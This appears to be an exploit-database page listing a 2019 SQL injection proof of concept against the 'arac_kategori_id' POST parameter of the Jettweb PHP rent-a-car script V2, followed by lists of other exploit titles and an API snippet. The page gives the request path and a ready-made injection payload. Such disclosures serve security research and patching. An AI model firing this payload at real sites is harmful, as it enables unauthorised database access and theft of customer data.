Menu

Search for hundreds of thousands of exploits

"Jettweb PHP Hazır Rent A Car Sitesi Scripti V2 - 'arac_kategori_id' SQL Injection"

Author

Exploit author

"Ahmet Ümit BAYRAM"

Platform

Exploit platform

php

Release date

Exploit published date

2019-03-28

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Exploit Title: Jettweb PHP Hazır Rent A Car Sitesi Scripti V2 - 'arac_kategori_id' SQL Injection
# Date: 28.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-4-php-hazir-rent-a-car-sitesi-scripti-v2.html
# Demo Site: http://rentv2.proemlaksitesi.net/
# Version: V2
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/fiyat-goster.html
Vulnerable Parameter: arac_kategori_id (POST)
Payload: arac_kategori_id=-1' OR 3*2*1=6 AND 000224=000224 --
Release DateTitleTypePlatformAuthor
2020-02-20"Core FTP Lite 1.3 - Denial of Service (PoC)"doswindows"berat isler"
2020-02-20"Easy2Pilot 7 - Cross-Site Request Forgery (Add User)"webappsphpindoushka
2020-02-19"Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak"webappshardwarebyteGoblin
2020-02-19"Virtual Freer 1.58 - Remote Command Execution"webappsphpSajjadBnd
2020-02-19"DBPower C300 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-18"WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting"webappsphp"Ultra Security Team"
2020-02-17"SOPlanning 1.45 - 'by' SQL Injection"webappsphpJ3rryBl4nks
2020-02-17"Wordpress Plugin Strong Testimonials 2.40.1 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-02-17"Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)"webappsphpJ3rryBl4nks
2020-02-17"SOPlanning 1.45 - 'users' SQL Injection"webappsphpJ3rryBl4nks
2020-02-17"Anviz CrossChex - Buffer Overflow (Metasploit)"remotewindowsMetasploit
2020-02-17"Avaya Aura Communication Manager 5.2 - Remote Code Execution"webappshardware"Sarang Tumne"
2020-02-17"SOPlanning 1.45 - Cross-Site Request Forgery (Add User)"webappsphpJ3rryBl4nks
2020-02-17"WordPress Theme Fruitful 3.8 - Persistent Cross-Site Scripting"webappsphp"Ashkan Moghaddas"
2020-02-17"TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path"localwindowsboku
2020-02-17"MSI Packages Symbolic Links Processing - Windows 10 Privilege Escalation"localwindowsnu11secur1ty
2020-02-17"DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service Path"localwindowsboku
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-17"Cuckoo Clock v5.0 - Buffer Overflow"localwindowsboku
2020-02-17"HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path"localwindows"Roberto Piña"
2020-02-17"BOOTP Turbo 2.0.1214 - 'BOOTP Turbo' Unquoted Service Path"localwindowsboku
2020-02-14"phpMyChat Plus 1.98 - 'pmc_username' SQL Injection"webappsphpJ3rryBl4nks
2020-02-14"SprintWork 2.3.1 - Local Privilege Escalation"localwindowsboku
2020-02-14"HomeGuard Pro 9.3.1 - Insecure Folder Permissions"localwindowsboku
2020-02-14"EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path"localwindows"Roberto Piña"
2020-02-13"Wordpress Plugin tutor.1.5.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"PANDORAFMS 7.0 - Authenticated Remote Code Execution"webappsphp"Engin Demirbilek"
2020-02-13"WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"OpenTFTP 1.66 - Local Privilege Escalation"localwindowsboku
2020-02-13"Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting"webappsphp"Mehran Feizi"
Release DateTitleTypePlatformAuthor
2020-02-20"Easy2Pilot 7 - Cross-Site Request Forgery (Add User)"webappsphpindoushka
2020-02-19"Virtual Freer 1.58 - Remote Command Execution"webappsphpSajjadBnd
2020-02-18"WordPress Plugin WP Sitemap Page 1.6.2 - Persistent Cross-Site Scripting"webappsphp"Ultra Security Team"
2020-02-17"Wordpress Plugin Strong Testimonials 2.40.1 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-02-17"SOPlanning 1.45 - Cross-Site Request Forgery (Add User)"webappsphpJ3rryBl4nks
2020-02-17"SOPlanning 1.45 - 'by' SQL Injection"webappsphpJ3rryBl4nks
2020-02-17"SOPlanning 1.45 - 'users' SQL Injection"webappsphpJ3rryBl4nks
2020-02-17"WordPress Theme Fruitful 3.8 - Persistent Cross-Site Scripting"webappsphp"Ashkan Moghaddas"
2020-02-17"Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)"webappsphpJ3rryBl4nks
2020-02-14"phpMyChat Plus 1.98 - 'pmc_username' SQL Injection"webappsphpJ3rryBl4nks
2020-02-13"WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin tutor.1.5.3 - Local File Inclusion"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin contact-form-7 5.1.6 - Remote File Upload"webappsphp"Mehran Feizi"
2020-02-13"Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting"webappsphp"Mehran Feizi"
2020-02-13"PANDORAFMS 7.0 - Authenticated Remote Code Execution"webappsphp"Engin Demirbilek"
2020-02-13"Wordpress Plugin wordfence.7.4.5 - Local File Disclosure"webappsphp"Mehran Feizi"
2020-02-11"WordPress InfiniteWP - Client Authentication Bypass (Metasploit)"webappsphpMetasploit
2020-02-11"Vanilla Forums 2.6.3 - Persistent Cross-Site Scripting"webappsphp"Sayak Naskar"
2020-02-10"LearnDash WordPress LMS Plugin 3.1.2 - Reflective Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-02-07"EyesOfNetwork 5.3 - Remote Code Execution"webappsphp"Clément Billac"
2020-02-07"PackWeb Formap E-learning 1.0 - 'NumCours' SQL Injection"webappsphp"Amel BOUZIANE-LEBLOND"
2020-02-07"QuickDate 1.3.2 - SQL Injection"webappsphp"Ihsan Sencan"
2020-02-07"VehicleWorkshop 1.0 - 'bookingid' SQL Injection"webappsphp"Mehran Feizi"
2020-02-06"Online Job Portal 1.0 - Cross Site Request Forgery (Add User)"webappsphp"Ihsan Sencan"
2020-02-06"Online Job Portal 1.0 - 'user_email' SQL Injection"webappsphp"Ihsan Sencan"
2020-02-06"Online Job Portal 1.0 - Remote Code Execution"webappsphp"Ihsan Sencan"
2020-02-06"Ecommerce Systempay 1.0 - Production KEY Brute Force"webappsphplive3
2020-02-04"Centreon 19.10.5 - 'Pollers' Remote Command Execution (Metasploit)"webappsphpmekhalleh
2020-02-03"phpList 3.5.0 - Authentication Bypass"webappsphp"Suvadip Kar"
2020-02-03"IceWarp WebMail 11.4.4.1 - Reflective Cross-Site Scripting"webappsphp"Lutfu Mert Ceylan"
Release DateTitleTypePlatformAuthor
2019-12-09"PRO-7070 Hazır Profesyonel Web Sitesi 1.0 - Authentication Bypass"webappsphp"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Rent a Car 3 - 'klima' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Firma Rehberi 1 - 'il' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Emlak 2 - 'ara' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi E-Ticaret 3 - 'a' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-07-19"Web Ofisi Firma 13 - 'oz' SQL Injection"webappslinux"Ahmet Ümit BAYRAM"
2019-04-08"Jobgator - 'experience' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-04-03"Ashop Shopping Cart Software - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-04-03"iScripts ReserveLogic - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-04-02"Inout EasyRooms - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-04-02"Inout RealEstate - 'city' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-28"Jettweb PHP Hazır Rent A Car Sitesi Scripti V2 - 'arac_kategori_id' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-28"Airbnb Clone Script - Multiple SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-27"Jettweb Hazır Rent A Car Scripti V4 - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-26"XooGallery - Multiple SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-26"Jettweb Php Hazır İlan Sitesi Scripti V2 - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-26"XooDigital - 'p' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-26"SJS Simple Job Script - SQL Injection / Cross-Site Scripting"webappsphp"Ahmet Ümit BAYRAM"
2019-03-25"Zeeways Jobsite CMS - 'id' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-25"Jettweb PHP Hazır Haber Sitesi Scripti V1 - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-25"Jettweb PHP Hazır Haber Sitesi Scripti V2 - SQL Injection (Authentication Bypass)"webappsphp"Ahmet Ümit BAYRAM"
2019-03-25"Jettweb PHP Hazır Haber Sitesi Scripti V3 - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-25"Zeeways Matrimony CMS - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-22"Matri4Web Matrimony Website Script - Multiple SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-22"Inout Article Base CMS - SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-22"Meeplace Business Review Script - 'id' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-21"Netartmedia Vlog System - 'email' SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
2019-03-21"Bootstrapy CMS - Multiple SQL Injection"webappsphp"Ahmet Ümit BAYRAM"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46624/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse